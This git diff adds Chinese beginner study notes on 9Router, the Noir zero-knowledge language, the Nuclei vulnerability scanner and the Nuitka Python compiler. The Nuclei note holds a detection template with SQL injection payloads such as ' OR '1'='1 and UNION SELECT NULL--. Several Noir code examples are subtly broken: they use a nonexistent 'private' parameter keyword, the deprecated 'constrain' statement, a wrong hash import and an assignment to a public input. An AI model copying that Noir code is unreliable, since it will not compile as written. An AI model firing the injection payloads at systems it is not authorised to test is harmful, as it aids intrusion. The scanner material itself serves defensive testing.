+- OpenClaw / Codex
+- Cursor
+- GitHub Copilot
+- Cline
+- Antigravity
+- Roo
+- Kilo Code
+- Continue
+- Droid
+
+---
+
+## 5 支持的供应商（部分列表）
+
+### OAuth 供应商
+Claude-Code、Antigravity、Codex、GitHub、Cursor
+
+### 免费供应商
+- **Kiro AI** — 免费无限制的 Claude 4.5 + GLM-5 + MiniMax
+- **OpenCode Free** — 无需认证，自动获取模型列表
+- **Vertex AI** — Google 提供 $300 免费额度
+
+### API Key 供应商（40+）
+OpenRouter、GLM、Kimi、MiniMax、OpenAI、Anthropic、Gemini、DeepSeek、Groq、xAI、Mistral、Perplexity、Together AI、Fireworks、Cerebras、Cohere、NVIDIA、SiliconFlow、Nebius、Chutes、Hyperbolic 等
+
+---
+
+## 6 你可能想问的
+
+### Q: 它合法吗？
+
+9Router 本身只是一个本地 API 网关/路由器，不破解任何服务。你用它连接的是你合法拥有的 API Key 或免费额度。
+
+### Q: 安全吗？
+
+所有流量经过你的本地电脑（`localhost`），不会经过第三方服务器。你配置供应商的 API Key 也保存在本地。
+
+### Q: 部署在哪里？
+
+默认本地运行。也支持 VPS、Docker、Cloudflare Workers 等云部署方式。
+
+### Q: 为什么叫 9Router？
+
+"9" 是中文"久"的谐音，寓意长久运行、永不中断。"Router" 就是路由器。
+
+---
+
+## 7 总结
+
+9Router 解决的核心问题就两个：
+
+1. **省钱**：通过 RTK 省 20-40% 输入 token、自动切换到便宜/免费供应商、多账号分摊额度
+2. **不断档**：一个供应商的额度用完，自动无缝切换到下一个，你不需要手动干预
+
+它的实现方式很简洁——就是一个运行在你本地电脑上的 HTTP 网关，把 OpenAI 兼容的请求翻译成各供应商的格式，然后按策略路由出去。编程工具只需要配一个 localhost 地址，就能享受"无限"的 AI 模型。
+
+对于零基础学习者，理解 9Router 最好的方式是先理解 **API 网关** 的概念：它就是一个"中间人"，帮你做翻译、转发、决策。后面的 RTK、回退、多账号等都是在这个基础之上叠加的策略层。
+
+---
+
+*本文基于 2026-06-13 公开信息整理，项目持续更新，具体配置和供应商列表以官方仓库为准。*
diff --git a/src/content/docs/projects/noir-aztec.md b/src/content/docs/projects/noir-aztec.md
new file mode 100644
index 000000000..e12b64464
--- /dev/null
+++ b/src/content/docs/projects/noir-aztec.md
@@ -0,0 +1,192 @@
+---
+title: Noir 零基础学习笔记
+来源: https://github.com/noir-lang/noir
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 密码与零知识
+provenance: pipeline-v3
+---
+
+# Noir 零基础学习笔记
+
+## 一、Noir 是什么？从一份"密封账本"说起
+
+想象你有一本账本，记录了你的每一笔消费。你想向朋友证明"我上个月确实只花了不到 5000 元"，但不想让他看到每一笔花的什么。
+
+传统做法是你把整本账本给他看——隐私全没了。
+
+**零知识证明（Zero-Knowledge Proof, ZKP）**就是解决这个问题的数学魔法：你能向对方证明某个命题为真，而**不泄露任何额外信息**。就像你走进一个魔术箱，在里面把一张纸撕碎吃掉，出来后告诉朋友"纸已经不存在了"，朋友无法验证你说的是真是假——除非有一种机制，能让朋友确信你真的撕了、吃了，却看不到纸上的内容。
+
+**Noir** 就是用来编写这种"魔法程序"的编程语言。它是一个领域特定语言（DSL），专门用来生成零知识证明（具体来说是 SNARK 证明）。它的语法受 Rust 启发，对程序员来说比较亲切。
+
+简单来说：
+- 你写一段 Noir 代码，描述"我要证明什么"
+- Noir 编译器把它编译成一个电路（circuit）
+- 运行这个电路，生成一个证明
+- 任何人可以用这个证明来验证你的陈述为真，而不需要知道你的输入数据
+
+## 二、核心概念
+
+### 2.1 公钥与私钥思维：公开 vs 私有值
+
+在 Noir 中，每个值都有两种可见性：
+
+- **私有值（private）**：只有证明者（Prover）知道。相当于你账本里的具体消费明细。
+- **公开值（public）**：证明者和验证者（Verifier）都知道。相当于你声明的"总支出不到 5000 元"这个数字。
+
+私有值在代码中默认就是私有的，要声明公开值需要在类型前加 `pub` 修饰符。
+
+### 2.2 Field（域元素）—— Noir 的原子
+
+Noir 里所有的值本质上都是由 `Field` 构成的。你可以把 `Field` 理解为一个非常大的数（在 BN254 曲线上的有限域中，范围是 0 到 2^254 左右）。整数类型（如 `u32`、`u64`）只是 `Field` 的抽象包装，方便程序员使用。
+
+### 2.3 电路（Circuit）—— 程序的终极形态
+
+Noir 程序被编译成一种叫 ACIR（Abstract Circuit Intermediate Representation）的结构。你可以把它想象成一条流水线：
+
+- 叶子节点（Leaves）是输入值（`Field` 类型）
+- 中间的每个节点是一个算术运算门（加、乘等）
+- 根节点是最终输出
+
+编译的过程就是把你的代码"折叠"成这个门电路。门越多，证明的成本越高。所以写 Noir 的一个核心挑战是：**用最少的门完成计算**。
+
+### 2.4 约束（Constrain / Assert）
+
+Noir 的核心思想是"约束求解"。你用 `assert` 语句声明一些条件，比如"我的密码哈希必须等于这个值"。如果条件不满足，证明就会失败。编译器会把所有 `assert` 变成电路中的约束门。
+
+### 2.5 有界函数 vs 无界函数
+
+- **有界函数（constrained）**：会被编译进电路，其中的每一步操作都会变成门。**这里的循环次数必须是固定的**（因为电路需要展开成固定大小的门网络）。
+- **无界函数（unconstrained）**：不会被编译进电路，而是在运行时直接执行。适合做哈希、加密等"门成本很高"的操作，然后把结果传回有界函数做校验。
+
+## 三、代码示例
+
+### 示例 1：最简单的零知识证明——"我知道一个数，它的平方是 16"
+
+这是一个经典的教学案例。你告诉别人"我知道一个数 x，使得 x² = 16"，但不告诉对方 x 是多少。对方可以通过验证证明来确认你确实知道这个数。
+
+```noir
+use std::field::Field;
+
+fn main(private x: Field, pub result: Field) {
+    // 约束1：x 的平方必须等于 result
+    constrain x * x == result;
+
+    // 约束2：result 必须是 16
+    assert(result == 16);
+}
+```
+
+解读：
+- `x` 是私有输入——这是你知道但别人不知道的秘密
+- `result` 是公开输入——你公开声明"这个数的平方是 16"
+- `constrain x * x == result` 是核心约束：它告诉电路"x 乘以 x 的结果必须等于 result"
+- `assert(result == 16)` 进一步约束 result 的值必须是 16
+
+验证者拿到证明后，只需要验证：是否存在某个 x，使得 x² = 16。验证通过后，验证者知道了"有人知道一个平方为 16 的数"，但**完全不知道这个数是 4 还是 -4**。
+
+### 示例 2：密码验证——"我知道密码，但不泄露密码"
+
+这个例子展示如何用零知识证明来验证密码，而无需将密码本身发送给服务器。
+
+```noir
+use hash::{sha256_hash};
+
+fn main(private password: Field, pub expected_hash: [u8; 32]) {
+    // 将 Field 类型的密码转换为字节数组
+    let password_bytes = to_bytes_le(password);
+
+    // 计算密码的 SHA-256 哈希
+    let computed_hash = sha256_hash(password_bytes);
+
+    // 约束：计算出的哈希必须等于公开的期望哈希
+    for i in 0..32 {
+        assert(computed_hash[i] == expected_hash[i]);
+    }
+}
+```
+
+解读：
+- 你把密码存在本地，从不发送给服务器
+- 服务器上存着密码的哈希值（`expected_hash`），这是公开的
+- 你运行这段 Noir 程序，用自己的密码计算出哈希，然后生成一个证明
+- 服务器只验证证明是否有效，不需要看到你的密码
+
+### 示例 3：年龄验证——"我年满 18 岁，但不透露我的确切生日"
+
+这个例子展示了隐私保护的身份验证场景。
+
+```noir
+fn main(private birth_year: u32, private birth_month: u8, private birth_day: u8, pub is_adult: bool) {
+    // 假设当前年份是 2026
+    let current_year = 2026;
+
+    // 计算年龄（简化版，不考虑月份细节）
+    let age = current_year - birth_year;
+
+    // 约束：年龄必须大于等于 18
+    assert(age >= 18);
+
+    // 将结果赋给公开变量
+    is_adult = true;
+}
+```
+
+验证者得到的结论只是"这个人年满 18 岁"，而不知道他的出生年月日。
+
+## 四、Noir 的基本语法速览
+
+Noir 的语法和 Rust 非常相似，以下是常用语法对照：
+
+| 概念 | Noir 语法 | 说明 |
+|------|-----------|------|
+| 声明变量 | `let x = 42;` | 默认不可变 |
+| 可变变量 | `let mut x = 42;` | 需要 mut 关键字 |
+| 函数 | `fn main(x: u32) -> u32 { x + 1 }` | 类似 Rust |
+| 条件分支 | `if x > 0 { ... } else { ... }` | 标准 if-else |
+| 循环 | `for i in 0..10 { ... }` | 固定次数的循环 |
+| 结构体 | `struct User { name: Field, age: u32 }` | 类似 Rust struct |
+| 断言约束 | `assert(x > 0);` | 编译为电路约束 |
+| 类型注解 | `let x: u32 = 42;` | 可选，编译器通常能推断 |
+
+主要数据类型：
+- `Field`：基础域元素，所有值的底层表示
+- `bool`：布尔值
+- `u8`, `u16`, `u32`, `u64`, `u128`：无符号整数
+- `i8`, `i16`, `i32`, `i64`, `i128`：有符号整数
+- `[T; N]`：固定长度数组
+- `struct`：自定义结构体
+- `pub T`：公开类型的值
+
+## 五、开发工具链
+
+Noir 的工具链以 `nargo` 为核心：
+
+- `nargo new <name>`：创建新项目
+- `nargo check`：检查代码是否有语法错误
+- `nargo prove`：生成证明
+- `nargo verify`：验证证明
+- `nargo info`：查看电路大小（门数量）
+- `nargo test`：运行测试
+
+Noir 还有 VS Code 扩展、REPL 调试器、以及 NoirJS 库，可以在浏览器和 Node.js 环境中使用。
+
+## 六、学习建议
+
+1. **先理解 ZKP 的概念**：Noir 的难点不在于语法，而在于理解零知识证明的思维方式。推荐阅读 Aztec Network 的教程或参加他们的社区讨论。
+
+2. **从简单约束开始**：先写"我知道一个数的平方是 X"这类简单例子，逐步增加复杂度。
+
+3. **注意门的成本**：在普通编程中你习惯的位运算（`<<`、`>>`、`|`），在电路中非常昂贵。尽量用算术运算（`+`、`*`）代替。
+
+4. **善用无界函数**：对于哈希、加密等门成本极高的操作，放在无界函数中执行，再把结果传回有界函数验证。
+
+5. **关注社区**：Noir 仍在快速发展（截至 2026 年 6 月为 v1.0.0-beta.22），[Aztec Forum](https://forum.aztec.network/c/noir) 和 [Discord](https://discord.gg/JtqzkdeQ6G) 是很好的交流场所。
+
+## 七、参考资料
+
+- 官方仓库：https://github.com/noir-lang/noir
+- 官方文档：https://noir-lang.org/docs/
+- 官方教程：https://noir-lang.org/docs/tutorials/noirjs_app
+- Awesome Noir：https://github.com/noir-lang/awesome-noir
+- Aztec Network：https://aztec.network
diff --git a/src/content/docs/projects/nomad.md b/src/content/docs/projects/nomad.md
index 338666eb9..4e36ae431 100644
--- a/src/content/docs/projects/nomad.md
+++ b/src/content/docs/projects/nomad.md
@@ -2,7 +2,7 @@
 title: Nomad — HashiCorp 出的"轻量版 K8s"工作负载调度器
 来源: https://developer.hashicorp.com/nomad/docs
 日期: 2026-05-31
-子分类: DevOps / 编排
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/nuclei.md b/src/content/docs/projects/nuclei.md
new file mode 100644
index 000000000..4a66ee048
--- /dev/null
+++ b/src/content/docs/projects/nuclei.md
@@ -0,0 +1,214 @@
+---
+title: Nuclei 漏洞扫描器学习笔记
+来源: https://github.com/projectdiscovery/nuclei
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+# Nuclei 漏洞扫描器学习笔记
+
+## 一、什么是 Nuclei：用"体检模板"来理解
+
+想象一下，医院给每位患者做体检时，医生手上都有一套"检查项目清单"：量血压、验血、拍 X 光……每一项检查都有明确的"正常范围"，超出范围就标记异常。
+
+Nuclei 做的是一样的事，只不过对象变成了网站和服务。它的核心思路可以用一句话概括：
+
+> 用 YAML 格式的"检查模板"，对目标网站发送精心构造的请求，然后根据返回结果判断是否存在漏洞。
+
+每个模板相当于一份体检清单，社区里已经有上万份模板，覆盖 CVE 漏洞、错误配置、敏感文件泄露等各种场景。
+
+关键特点：
+- **模板驱动**：一切以 YAML 模板为中心，写一个模板 = 定义一种检查方法
+- **社区驱动**：全球安全研究人员共同维护模板库，新漏洞披露后数小时内就有对应模板
+- **低误报**：模板可以模拟真实攻击步骤来验证，不只是简单匹配关键词
+
+## 二、核心概念拆解
+
+### 2.1 模板（Template）
+
+模板是 Nuclei 的最小单位，一个 YAML 文件就是一种检查方法。完整模板包含三个核心部分：
+
+1. **info 区块**：元信息，包括名称、作者、严重程度（severity）、描述、标签等
+2. **requests 区块**：实际发送的网络请求，协议可以是 HTTP、DNS、TCP、SSL 等
+3. **matchers 区块**：匹配规则，用来判断请求返回的结果是否说明存在漏洞
+
+### 2.2 变量（Variables）
+
+模板中用 `{{变量名}}` 的语法来表示动态替换。比如 `{{BaseURL}}` 会在运行时被替换为目标网址。常见的变量有：
+
+| 变量 | 含义 | 示例（目标为 https://example.com:443/foo/bar.php） |
+|---|---|---|
+| `{{BaseURL}}` | 完整的目标 URL | https://example.com:443/foo/bar.php |
+| `{{RootURL}}` | 根 URL（不含路径） | https://example.com:443 |
+| `{{Host}}` | 主机名 | example.com |
+| `{{Port}}` | 端口号 | 443 |
+| `{{Hostname}}` | 主机名加端口 | example.com:443 |
+
+### 2.3 匹配器（Matchers）
+
+匹配器决定"什么算找到漏洞"。最常用的是 `word` 类型，即在响应中查找特定文本。还有其他类型如 `status_code`（状态码匹配）、`dsl`（用表达式判断）等。
+
+### 2.4 提取器（Extractors）
+
+提取器从响应中提取有用的数据，比如 API 密钥、文件名等，方便后续使用。
+
+## 三、代码示例
+
+### 示例 1：检测 .git/config 文件泄露
+
+这是一个经典的敏感文件泄露检查。很多开发者会把 `.git` 目录留在服务器上，攻击者可以直接拿到代码仓库的配置信息。
+
+```yaml
+id: git-config-detection
+
+info:
+  name: Git Config File Detection
+  author: Jason
+  severity: medium
+  description: |
+    检测目标网站是否暴露了 .git/config 文件。
+    该文件包含仓库远程地址、分支信息等敏感数据。
+  reference:
+    - https://www.acunetix.com/vulnerabilities/web/git-repository-found/
+  tags: git,config,sensitive
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.git/config"
+    matchers:
+      - type: word
+        words:
+          - "[core]"
+          - "repositoryformatversion"
+        condition: and
+```
+
+**逐行解释：**
+
+- `id`：模板唯一标识，不能有空格
+- `severity: medium`：中等严重程度。Nuclei 支持 info / low / medium / high / critical 五个级别
+- `path` 是一个列表，可以一次性检测多个路径
+- `condition: and` 表示两个词都必须出现在响应中才算匹配成功，降低误报
+- 当目标为 https://example.com 时，`{{BaseURL}}/.git/config` 会被替换为 https://example.com/.git/config
+
+**运行方式：**
+
+```sh
+nuclei -target https://example.com -t git-config-detection.yaml
+```
+
+### 示例 2：检测 SQL 注入漏洞（使用 DSL 匹配器）
+
+这个模板演示了更高级的用法：用 HTTP 错误信息来探测 SQL 注入。它发两条请求——先探测目标是否返回 MySQL 相关的错误信息，再确认返回状态码。
+
+```yaml
+id: sqli-error-based-detection
+
+info:
+  name: SQL Injection Error-Based Detection
+  author: Jason
+  severity: high
+  description: |
+    通过注入 SQL 错误载荷，检测目标是否存在基于错误的 SQL 注入漏洞。
+    当数据库返回错误信息时，响应中会包含 MySQL 版本或错误代码。
+  reference:
+    - https://owasp.org/www-community/vulnerabilities/SQL_Injection
+  tags: sqli,injection,dangerous
+
+http:
+  - raw:
+      - |
+        GET /search?q=test' OR '1'='1 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0
+      - |
+        GET /search?q=test' UNION SELECT NULL-- HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0
+    stop-at-first-match: true
+    matchers-condition: or
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "You have an error in your SQL syntax"
+          - "MySQLSyntaxErrorException"
+          - "Warning: mysql_fetch"
+          - "pg_query()"
+        condition: or
+      - type: word
+        part: body
+        words:
+          - "SQLSTATE["
+          - "ORA-0"
+          - "Microsoft OLE DB"
+        condition: or
+```
+
+**关键新语法：**
+
+- `raw`：直接用原始 HTTP 格式写请求，可以自定义方法、路径、headers
+- `stop-at-first-match: true`：找到一个匹配就停止，节省扫描时间
+- `matchers-condition: or`：两个 matcher 块只要有一个命中就算成功
+- `part: body`：指定在响应的 body 中查找匹配词
+- 多段 `raw` 请求之间可以共享 session（cookie 会保留）
+- 更复杂的场景还可以用 `dsl` 类型匹配器做条件判断，比如 `"status_code == 200 && contains(body, 'error')"`
+
+**运行方式：**
+
+```sh
+nuclei -target https://example.com -t sqli-error-based-detection.yaml -v
+```
+
+`-v` 参数显示详细输出，包括每个请求和响应的详情。
+
+## 四、常用命令行选项
+
+```sh
+# 扫描单个目标
+nuclei -target https://example.com
+
+# 从文件读取多个目标
+nuclei -list targets.txt
+
+# 只运行特定严重程度的模板
+nuclei -target https://example.com -severity high,critical
+
+# 只运行特定标签的模板
+nuclei -target https://example.com -tags cve,rce
+
+# 输出 JSON 格式结果
+nuclei -target https://example.com -json-export results.json
+
+# 指定自定义模板
+nuclei -target https://example.com -t ./my-templates/
+
+# 更新模板库
+nuclei -update-templates
+```
+
+## 五、模板的工作流程
+
+整个扫描过程可以概括为以下循环：
+
+```
+读取模板 → 替换变量 → 发送请求 → 接收响应 → 匹配规则 → 输出结果
+```
+
+1. Nuclei 加载一个 YAML 模板
+2. 把模板中的 `{{变量}}` 替换为实际值
+3. 按照模板定义的协议和请求方式发送网络请求
+4. 收到目标返回的响应后，交给匹配器判断
+5. 如果匹配成功，把结果写入输出文件或终端
+
+多个模板可以同时并行执行（默认并发数 25），多个目标也可以在单个模板下并行扫描，这就是 Nuclei 速度快的原因。
+
+## 六、学习建议
+
+- 先去 https://github.com/projectdiscovery/nuclei-templates 浏览真实模板，这是最好的教材
+- 用 https://cloud.projectdiscovery.io/templates/editor 在线编写和测试模板，不需要本地配置
+- 从简单的 HTTP GET 请求模板开始写起，逐步掌握 matchers 和 extractors
+- 每个漏洞类型学一个模板，理解"请求 + 匹配"的设计思路
diff --git a/src/content/docs/projects/nuitka.md b/src/content/docs/projects/nuitka.md
new file mode 100644
index 000000000..37939e736
--- /dev/null
+++ b/src/content/docs/projects/nuitka.md
@@ -0,0 +1,319 @@
+---
+title: Nuitka — Python 到 C 编译器
+来源: https://github.com/Nuitka/Nuitka
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Nuitka** 是 [Nuitka/Nuitka](https://github.com/Nuitka/Nuitka) 维护的 **Python 优化编译器（AOT, Ahead-Of-Time）**：在运行程序**之前**，把 `.py` 源码翻译成 **C/C++ 源文件**，再调用系统 C 编译器（经 **SCons** 编排）链接成 **原生可执行文件** 或 **扩展模块**。它仍深度依赖 **CPython 运行时 API**（`PyObject*`、内置类型、导入机制），语义目标是「和用解释器跑一样」，而不是换一门语言。
+
+日常类比：如果把 **CPython** 想成「每次点菜都现炒」的中央厨房，把 **PyInstaller** 想成「把整个厨房、冰箱、煤气罐一起打包进集装箱运到客户现场」，那 **Nuitka** 更像 **把菜谱提前翻译成米其林主厨能直接执行的工序卡（C 代码），在客户工厂里现焊一台专用灶台（原生二进制）**：
+
+- **菜谱翻译**（Python → Nuitka 节点树 → C）发生在**编译期**，不是运行时边跑边猜；
+- **优化师**（多轮 `optimizeModules`）像品控：常量折叠、死代码消除、类型特化，反复改稿直到改不动；
+- **焊工**（GCC / Clang / MSVC / MinGW / Zig）把 C 烙成机器码，启动时不必再解析 `.py`；
+- **集装箱模式**（`--mode=standalone` / `onefile`）仍可把依赖的 `.so` / `.dll` 和数据文件一起带走，方便分发；
+- **源码保护**：发布物里不再附带可读 `.py`（商业场景常关心字符串与逻辑外泄）。
+
+Nuitka **用 Python 写编译器本身**，却给用户程序走 **编译到 C** 的路径；与 **PyPy**（RPython 写 VM + 运行时 JIT）、**Cython**（手写类型注解生成 C 扩展）形成不同分工。官方支持 **Python 3.4–3.13** 与 **2.6/2.7**，覆盖 Windows、macOS、Linux、FreeBSD 等主流平台。
+
+## 为什么重要
+
+不懂 Nuitka，下面这些决策容易踩坑：
+
+- **「打包 Python 程序」该选 PyInstaller 还是 Nuitka**——前者主要是**嵌入解释器 + 收集依赖**；后者是**真编译**，启动与热路径往往更快，但首次编译慢、需要 C 工具链
+- **为什么编译后 `dis.dis()` 看不到字节码**——函数对象没有 `co_code`，调试方式要换（见局限）
+- **为什么 NumPy / PySide 还要配 plugin 和 package config**——动态导入、隐式数据文件、`.dll` 依赖需要显式告诉 Nuitka
+- **为什么必须用 CPython 来跑 Nuitka**——生成代码调用 CPython C API，与 PyPy 等替代实现不兼容
+- **AOT 与 JIT 的取舍**——Nuitka 在**短进程 CLI** 上常比「等 JIT 预热」的 PyPy 更稳；超长纯 Python 数值循环则未必赢 PyPy
+
+## 核心概念
+
+### 1. 在 Python 工具链谱系中的位置
+
+| 工具 | 本质 | 典型产物 | 运行时 |
+|------|------|----------|--------|
+| **CPython** | 解释器 | `python script.py` | 每次解释字节码 |
+| **PyInstaller / cx_Freeze** | 打包器 | 目录或单文件，内嵌解释器 | 仍是解释执行 |
+| **Nuitka** | AOT 编译器 | `.exe` / `.bin` / 原生模块 | 编译进二进制的 C + libpython |
+| **Cython** | 源到源 + 扩展 | `.so` / `.pyd` | 需 CPython 加载扩展 |
+| **PyPy** | 替代 VM + JIT | `pypy3` 可执行文件 | 跟踪 JIT 热路径 |
+
+一句话：**PyInstaller 搬厨房，Nuitka 把菜做成预制菜工厂。**
+
+### 2. 四阶段编译流水线
+
+`MainControl.py` 编排端到端流程（概念与官方/社区文档一致）：
+
+```
+Python 源码 (.py)
+  ▼ Parse          标准库 ast → Nuitka 节点树（Building.py）
+  ▼ Optimize       多轮 optimizeModules 直到不动点
+                   （常量折叠、分支裁剪、类型推断、闭包分析…）
+  ▼ Generate C     makeSourceDirectory → 大量 .c / .h
+  ▼ Compile        runSconsBackend → SCons 调 C 编译器 → 二进制
+```
+
+节点树阶段会建立 **变量作用域、闭包、SSA 式 trace**，再驱动 `computeExpression()` 等自变换优化。生成 C 时大量调用 **CPython C API**，保证 `import`、`try/except`、描述符协议等行为与解释器一致。
+
+### 3. 编译模式（`--mode`）
+
+| 模式 | 行为 | 适用 |
+|------|------|------|
+| **accelerated**（默认） | 生成与脚本同名的加速二进制，仍依赖系统 Python 环境 | 本地加速、开发迭代 |
+| **standalone** | 独立目录，拷贝所需 stdlib 片段与依赖 `.so` | 服务器、内网分发 |
+| **onefile** | 单文件可执行，启动时解压到临时目录 | 给最终用户一个 exe |
+| **app** | macOS `.app` 等应用包形态 | 桌面 GUI |
+| **module** | 编译为扩展模块 `.so` / `.pyd` | 隐藏实现、加速库 |
+| **package** | 以包为入口（类似 `python -m pkg`） | 可执行包 |
+
+`--mode=onefile` 启动快，但**第一次解压**有成本；`standalone` 启动通常更快、排查依赖更直观。
+
+### 4. 与 CPython 的耦合点
+
+- **必须用 CPython 执行** `python -m nuitka`（Anaconda 等变种大多可用，Microsoft Store 版不推荐）
+- 生成代码假设 **GIL、对象布局、异常传播** 与当前 CPython 版本匹配
+- **C 扩展模块**（`numpy`、`cryptography` 等）以二进制形式链入，不靠重新编译其 C 源码
+- **插件**（`--enable-plugin=numpy`、`pyside6` 等）修补第三方包的隐式导入与 Qt 插件路径
+
+### 5. 优化在编译期完成
+
+Nuitka 的「快」主要来自：
+
+- 去掉 **字节码解释循环** 的开销（函数体已是 C）
+- **编译期常量折叠**、**内置调用内联**、**类型已知时的特化路径**
+- **LTO / PGO**（取决于 C 编译器与选项）
+
+它**不是** PyPy 那种「跑起来才发现热循环再 JIT」。因此：**改一行代码往往要重新完整编译**，CI 里要预算时间。
+
+### 6. 数据文件与「代码不是数据」
+
+配置、图片、`.json` 用 `--include-data-files`、`--include-package-data` 等打入分发包。**`.py` / `.pyc` / `.so` 不会被当成普通数据文件**——代码依赖要走 `--include-module` 或正常 import 分析。第三方包缺文件时，社区维护 **Nuitka Package Configuration**（YAML）描述隐式 DLL、数据路径。
+
+### 7. `nuitka-project` 内嵌选项
+
+可在源码**注释**里写编译指令，便于「单文件即构建脚本」：
+
+```python
+# nuitka-project: --mode=onefile
+# nuitka-project-if: {OS} == "Windows":
+#    nuitka-project: --windows-console-mode=disable
+```
+
+支持 `{OS}`、`{MAIN_DIRECTORY}`、`{Arch}` 等变量展开，适合跨平台 CI 同一份源码。
+
+### 8. 局限与语义差异
+
+| 话题 | 说明 |
+|------|------|
+| **`co_code` / `dis`** | 编译后函数无字节码，`dis.dis(fn)` 无意义 |
+| **`pdb` 单步** | 不能像在纯 `.py` 里那样跟踪编译函数内部 |
+| **首次编译时间** | 中大型项目可达数分钟至数十分钟 |
+| **工具链** | Windows 需 MSVC 或 Nuitka 捆绑的 MinGW64；macOS 需 Xcode CLI |
+| **极端动态代码** | `eval`、`exec`、运行时改 `sys.modules` 仍可能工作，但削弱优化 |
+
+## 架构一图
+
+```mermaid
+flowchart LR
+  subgraph compile_time [编译期]
+    PY[Python 源码]
+    AST[ast 解析]
+    NT[Nuitka 节点树]
+    OPT[多轮优化]
+    CGEN[C 源码目录]
+    CC[C 编译器 via SCons]
+    PY --> AST --> NT --> OPT --> CGEN --> CC
+  end
+  subgraph runtime [运行期]
+    BIN[可执行文件 / 模块]
+    API[CPython C API / libpython]
+    BIN --> API
+  end
+  CC --> BIN
+```
+
+## 从零开始：安装与第一次编译
+
+**依赖**：已安装的 **CPython**、可用的 **C 编译器**（Linux 上 `gcc`/`clang`，macOS 上 Xcode，`pip install nuitka` 会拉取部分依赖如 `ordered-set`）。
+
+```bash
+python -m pip install -U nuitka ordered-set zstandard
+python -m nuitka --version
+```
+
+## 代码示例
+
+### 示例 1：CLI 工具编译为单文件可执行
+
+假设 `greet_cli.py`：
+
+```python
+#!/usr/bin/env python3
+"""简单 CLI：编译后可在无 Python 的机器上运行（onefile）。"""
+
+import argparse
+import sys
+
+
+def main() -> int:
+    parser = argparse.ArgumentParser(description="向某人问好")
+    parser.add_argument("name", help="名字")
+    parser.add_argument("-u", "--upper", action="store_true", help="大写输出")
+    args = parser.parse_args()
+    msg = f"Hello, {args.name}!"
+    print(msg.upper() if args.upper else msg)
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())
+```
+
+编译命令（Linux / macOS 示例；Windows 把输出名换成 `greet_cli.exe`）：
+
+```bash
+python -m nuitka \
+  --mode=onefile \
+  --output-filename=greet_cli.bin \
+  --assume-yes-for-downloads \
+  greet_cli.py
+
+# 运行
+./greet_cli.bin Alice
+./greet_cli.bin bob --upper
+```
+
+说明：
+
+- `--assume-yes-for-downloads` 允许 Nuitka 自动下载兼容的 C 编译器组件（如 MinGW），CI 里常用
+- **onefile** 会把依赖打进一个文件；首次启动会解压到临时目录，GUI 程序可配 **splash screen** 掩盖导入耗时
+- 若只要本机加速、不追求独立分发，可省略 `--mode=onefile`（默认 accelerated）
+
+### 示例 2：在源码内声明跨平台 `nuitka-project` 选项
+
+把构建配置写进主文件，避免 shell 脚本分叉：
+
+```python
+# nuitka-project-if: {OS} in ("Windows", "Linux", "Darwin"):
+#    nuitka-project: --mode=onefile
+# nuitka-project-else:
+#    nuitka-project: --mode=standalone
+
+# nuitka-project-if: {OS} == "Windows":
+#    nuitka-project: --windows-console-mode=disable
+
+# nuitka-project: --include-data-files={MAIN_DIRECTORY}/config.json=config.json
+
+import json
+import pathlib
+import sys
+
+ROOT = pathlib.Path(__file__).resolve().parent
+
+
+def load_config() -> dict:
+    cfg_path = ROOT / "config.json"
+    if not cfg_path.exists():
+        # standalone/onefile 下数据文件在分发目录内
+        cfg_path = pathlib.Path("config.json")
+    return json.loads(cfg_path.read_text(encoding="utf-8"))
+
+
+def main() -> None:
+    cfg = load_config()
+    print(f"app={cfg.get('app_name')}, version={cfg.get('version')}")
+
+
+if __name__ == "__main__":
+    main()
+```
+
+编译时仍只需：
+
+```bash
+python -m nuitka app_main.py
+```
+
+Nuitka 会读取文件头注释中的 `nuitka-project*` 指令，在 Windows 上打 onefile 并隐藏控制台，在其他系统用 standalone。`{MAIN_DIRECTORY}` 展开为被编译主文件的目录，适合相对路径打包资源。
+
+### 示例 3：测量编译产物与 import 开销（对比直觉）
+
+下面脚本**用于理解**而非严谨基准：同一逻辑在解释器与编译二进制下的启动差异因模式、缓存、磁盘而异。
+
+```python
+# bench_import.py — 用 python bench_import.py 跑；编译后用 ./bench_import.bin
+import time
+
+t0 = time.perf_counter()
+
+def hot_loop(n: int) -> int:
+    s = 0
+    for i in range(n):
+        s += i * i
+    return s
+
+result = hot_loop(500_000)
+elapsed = time.perf_counter() - t0
+print(f"result={result}, wall={elapsed:.4f}s")
+```
+
+```bash
+# 解释器
+python bench_import.py
+
+# 编译（standalone 便于 strace / 查看目录）
+python -m nuitka --mode=standalone --output-dir=build bench_import.py
+./build/bench_import.bin
+```
+
+在 **CPU 密集纯 Python 循环** 上，编译版常有可见提升；若热点在 **NumPy C 扩展** 里，两者差距会缩小——瓶颈已不在字节码解释。
+
+## 常用命令速查
+
+```bash
+# 查看全部选项
+python -m nuitka --help
+
+# 模块模式：生成 mypkg.so 供 CPython import
+python -m nuitka --module mypkg/__init__.py
+
+# 包含整个包 + 数据
+python -m nuitka --mode=standalone --include-package=mypkg --include-package-data=mypkg app.py
+
+# 启用 NumPy / Qt 等插件
+python -m nuitka --enable-plugin=numpy --enable-plugin=pyside6 gui.py
+
+# 生成编译报告（排错必备）
+python -m nuitka --report=compilation-report.xml --mode=onefile app.py
+```
+
+## 与周边生态的关系
+
+| 项目 | 关系 |
+|------|------|
+| **CPython** | Nuitka 的语义基准与 C API 宿主；编译器自身也用 CPython 运行 |
+| **PyInstaller** | 竞品/互补：打包快、配置熟；Nuitka 编译慢但运行时与保护性往往更好 |
+| **Cython** | 手写类型可极致优化单模块；Nuitka 全自动、少改源码 |
+| **PyPy** | 另一轴优化（JIT）；与 Nuitka 的 AOT 场景不同，不宜简单二选一 |
+| **SCons** | Nuitka 内置后端，驱动 C/C++ 编译与链接 |
+| **Nuitka Commercial** | 官方商业分支，额外 IP 保护、Windows 服务封装等企业特性 |
+
+## 学习路径建议
+
